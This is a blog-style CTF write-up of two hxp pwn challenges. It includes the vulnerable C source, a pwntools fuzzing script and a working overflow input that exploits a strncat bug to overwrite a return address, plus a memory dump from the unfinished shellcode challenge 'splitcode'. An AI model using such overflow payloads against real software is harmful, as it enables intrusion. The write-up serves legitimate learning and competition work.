3 hxp was a quite fun but rather hard CTF. Thanks to it taking place during the holidays I could work on the challenges a bit more unimpeded than usually, but the higher difficulty of even the "easy" challenges made progress slow. Having just finished the OTW Advent CTF the short time during which hxp took place also took some time getting used to.
4 While I took a glance at a couple of challenges I only really took a serious stab at two of them. I didn't finish either (however @SebastianDietz successfully solved one of them) but made some significant progress, and "splitcode" in particular was an interesting learning experience because it required a rather unusual approach and planning a payload whose instructions adhere to some strict limitations.
9 * 32 solves / 244 points (easy difficulty)
10 * Time spent: ~ 3 hours
13 While looking for scripts to reuse from last year hxp CTF, we found this service running on one of our servers. This service concats hxp flags for easier shipment. Because hxp produces so much flags one dedicated server running only this script was necessary.
16 The provided source code showed a rather simple program that takes two inputs, stripping the flag-prefix if necessary, and concatenating them (comments in the code were added by me):
19 // gcc -no-pie -o vuln vuln.c
29 char *concatenated_s3;
32 packed_strings strings;
35 printf("Debug mode activated!\n");
36 system("cat flag.txt");
41 char *start_s1 = NULL;
42 char *start_s2 = NULL;
44 printf("First Flag:\n");
45 fgets(strings.s1, 0x100, stdin); // Null-terminates, s1[0x100] = \00
46 printf("Second Flag:\n");
47 fgets(strings.s2, 0x100, stdin); // Null-terminates, s2[0x100] = \00
49 output_len = strlen(strings.s1) + strlen(strings.s2); // Amount of bytes excl. \00 (max: 2 * 0ff?)
50 char s3[output_len+1];
51 strings.concatenated_s3 = s3;
53 printf("Going to output %i bytes max!\n", output_len);
55 start_s1 = strstr(strings.s1, "hxp{");
56 start_s2 = strstr(strings.s2, "hxp{");
59 start_s1 = strings.s1;
62 start_s2 = strings.s2;
65 strncat(start_s1, start_s2, SIZE_MAX); // Probably needs to be manipulated already
66 strcpy(strings.concatenated_s3, start_s1); // Ignores length, s1 must be manipulated already
68 printf("%s\n", strings.concatenated_s3);
74 printf("Welcome to the hxp flag concat protocol server!\n");
80 Considering that the concatenation happens inside a seperate function that is called from ```main()```, an unused function that prints the flag is present and PIE is disabled everything seemed to hint at abusing the string handling in a way to overwrite the return address. Going through the program line by line didn't offer any obvious bugs or implementation errors however:
82 * The character arrays contained in the struct were way bigger than the maximum length read from the input, so off-by-one errors and overwriting the terminating null byte of either isn't possible
83 * The output length is correctly calculated, and the array used to store the concatenated was appropriately sized
84 * All string handling functions checked for and added terminating null bytes if necessary
85 * Abusing the string handling by messing with the length calculation doesn't work because the length isn't used besides allocating an array of the correct size
87 The only curious line was the one containing the ```strncat```-call using ```SIZE_MAX```, and @SebastianDietz correctly found (a blog post reporting a bug when used in such way)[http://blog.httrack.com/blog/2014/08/31/i-found-a-bug-in-strncat/]. I tried a quick script testing various positions of the "hxp{"-string, but it obviously wasn't enough to test all permutations:
95 # sym.do_strncat: 0x4007d5
97 first_payload = "AAAA" + "BBBB" + "hxp{" + "CCC"
98 second_payload = "XXXX" + "\x00" + "YYYY" + "hxp{" + "ZZZ"
99 first_payload = "A" * 40
100 second_payload = "C" * 35
102 for i in range(0,0x100):
103 second_payload = "B" * i + "hxp{" + "C" * 35
104 p = process('./vuln')
105 p.recvuntil('First Flag:\n')
106 p.sendline(first_payload)
107 p.recvuntil('Second Flag:\n')
108 p.sendline(second_payload)
109 bytesline = p.recvline()
110 first_payload_line = p.recvline(keepends=False)
111 second_payload_line = p.recvline(keepends=False)
112 if (first_payload != first_payload_line or second_payload[i:] != second_payload_line):
114 print(first_payload_line)
115 print(second_payload_line)
116 print(second_payload[i:])
120 Sebastian however also unearthed (another bug report)[https://sourceware.org/bugzilla/show_bug.cgi?id=19390] and ultimately found the correct input strings:
123 \x00-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------\xb6\x07\x40\x00----------------\n.............................hxp{ABCDEFGHIJKLMNOPQRTSUWVXYZ1234567890\n
126 With the first string having a length of 0 and the second string being longer than 32 there is a specific offset at which an overflow can be produced, allowing for overwriting the return address.
131 * 30 solves / 256 points (medium difficulty)
132 * Time spent: ~ 6 hours
135 We proudly present: Code Execution as a Service (CEaaS), now on x86-64!
137 (Flag filename is randomized.)
140 Besides the challenge description there wasn't much information offered on how this service worked; the source code was not provided but the executable was.
141 Static analysis revealed a length check on the input, reading 42 bytes provided by the user. Running the program with some sample inputs showed that it created an executable memory region and copied the input split into chunks of two bytes each, seperated some space inbetween, as well as some semi-random instructions there; afterwards execution jumped to the start of this memory section (before doing a ```syscall```) which looked like this:
144 # Input: ABCDEFGHIJKLMNOPQRSTUVWZYXabcdefghijklmno
146 #- offset - | 0 1 2 3 4 5 6 7 8 9 A B C D E F| 0123456789ABCDEF
147 #0x7ffb1d3e5000 |4889 fc58 595a 5b5d 5e5f 4158 4159 415a| H..XYZ[]^_AXAYAZ
148 #0x7ffb1d3e5010 |415b 415c 415d 415e 415f 9d5c eb02 f4f4| A[A\A]A^A_.\....
149 #0x7ffb1d3e5020 |4142 eb1e f4f4 f4f4 f4f4 f4f4 f4f4 f4f4| AB..............
150 #0x7ffb1d3e5030 |f4f4 f4f4 f4f4 f4f4 f4f4 f4f4 f4f4 f4f4| ................
151 #0x7ffb1d3e5040 |f4f4 4344 eb10 f4f4 f4f4 f4f4 f4f4 f4f4| ..CD............
152 #0x7ffb1d3e5050 |f4f4 f4f4 f4f4 4546 eb1a f4f4 f4f4 f4f4| ......EF........
153 #0x7ffb1d3e5060 |f4f4 f4f4 f4f4 f4f4 f4f4 f4f4 f4f4 f4f4| ................
154 #0x7ffb1d3e5070 |f4f4 f4f4 4748 eb1e f4f4 f4f4 f4f4 f4f4| ....GH..........
155 #0x7ffb1d3e5080 |f4f4 f4f4 f4f4 f4f4 f4f4 f4f4 f4f4 f4f4| ................
156 #0x7ffb1d3e5090 |f4f4 f4f4 f4f4 494a eb10 f4f4 f4f4 f4f4| ......IJ........
157 #0x7ffb1d3e50a0 |f4f4 f4f4 f4f4 f4f4 f4f4 4b4c eb12 f4f4| ..........KL....
158 #0x7ffb1d3e50b0 |f4f4 f4f4 f4f4 f4f4 f4f4 f4f4 f4f4 f4f4| ................
159 #0x7ffb1d3e50c0 |4d4e eb1e f4f4 f4f4 f4f4 f4f4 f4f4 f4f4| MN..............
160 #0x7ffb1d3e50d0 |f4f4 f4f4 f4f4 f4f4 f4f4 f4f4 f4f4 f4f4| ................
161 #0x7ffb1d3e50e0 |f4f4 4f50 eb10 f4f4 f4f4 f4f4 f4f4 f4f4| ..OP............
162 #0x7ffb1d3e50f0 |f4f4 f4f4 f4f4 5152 eb12 f4f4 f4f4 f4f4| ......QR........
163 #0x7ffb1d3e5100 |f4f4 f4f4 f4f4 f4f4 f4f4 f4f4 5354 eb18| ............ST..
164 #0x7ffb1d3e5110 |f4f4 f4f4 f4f4 f4f4 f4f4 f4f4 f4f4 f4f4| ................
165 #0x7ffb1d3e5120 |f4f4 f4f4 f4f4 f4f4 5556 eb18 f4f4 f4f4| ........UV......
166 #0x7ffb1d3e5130 |f4f4 f4f4 f4f4 f4f4 f4f4 f4f4 f4f4 f4f4| ................
167 #0x7ffb1d3e5140 |f4f4 f4f4 575a eb12 f4f4 f4f4 f4f4 f4f4| ....WZ..........
168 #0x7ffb1d3e5150 |f4f4 f4f4 f4f4 f4f4 f4f4 5958 eb1e f4f4| ..........YX....
169 #0x7ffb1d3e5160 |f4f4 f4f4 f4f4 f4f4 f4f4 f4f4 f4f4 f4f4| ................
170 #0x7ffb1d3e5170 |f4f4 f4f4 f4f4 f4f4 f4f4 f4f4 6162 eb1a| ............ab..
171 #0x7ffb1d3e5180 |f4f4 f4f4 f4f4 f4f4 f4f4 f4f4 f4f4 f4f4| ................
172 #0x7ffb1d3e5190 |f4f4 f4f4 f4f4 f4f4 f4f4 6364 eb1a f4f4| ..........cd....
173 #0x7ffb1d3e51a0 |f4f4 f4f4 f4f4 f4f4 f4f4 f4f4 f4f4 f4f4| ................
174 #0x7ffb1d3e51b0 |f4f4 f4f4 f4f4 f4f4 6566 eb1e f4f4 f4f4| ........ef......
175 #0x7ffb1d3e51c0 |f4f4 f4f4 f4f4 f4f4 f4f4 f4f4 f4f4 f4f4| ................
176 #0x7ffb1d3e51d0 |f4f4 f4f4 f4f4 f4f4 f4f4 6768 eb10 f4f4| ..........gh....
177 #0x7ffb1d3e51e0 |f4f4 f4f4 f4f4 f4f4 f4f4 f4f4 f4f4 696a| ..............ij
178 #0x7ffb1d3e51f0 |eb16 f4f4 f4f4 f4f4 f4f4 f4f4 f4f4 f4f4| ................
179 #0x7ffb1d3e5200 |f4f4 f4f4 f4f4 f4f4 6b6c eb10 f4f4 f4f4| ........kl......
180 #0x7ffb1d3e5210 |f4f4 f4f4 f4f4 f4f4 f4f4 f4f4 6d6e eb18| ............mn..
181 #0x7ffb1d3e5220 |f4f4 f4f4 f4f4 f4f4 f4f4 f4f4 f4f4 f4f4| ................
182 #0x7ffb1d3e5230 |f4f4 f4f4 f4f4 f4f4 6f0a eb1a f4f4 f4f4| ........o.......
185 Because the spacing and some of the automatically inserted instructions changes between runs the exact layout isn't determenistic; the empty spaces were skipped at execution by use of jump instructions. While this allowed for arbitrary code execution the fact that the input is split into two-byte chunks severely limited the available instructions that could be used, especially since the binary was 64 bit where a lot of opcodes are bigger than in 32 bit and inserting addresses is harder due to the address size. In addition bytes at odd positions in the input were checked for values 0xF and 0xCD which further limited the possible instructions that could be used (for example the ```syscall```-opcode is ```0F05```).
186 Looking up [single or double byte instructions](http://xxeo.com/single-byte-or-small-x86-opcodes) I tried to find possible attack vectors, but most of them only operate on parts of the address registers which could potentially be used to manipulate e.g. the return address. @georg offered some ideas on probably using a payload that allows for reading more shellcode from stdin, but I didn't find a way to construct one with the available instructions.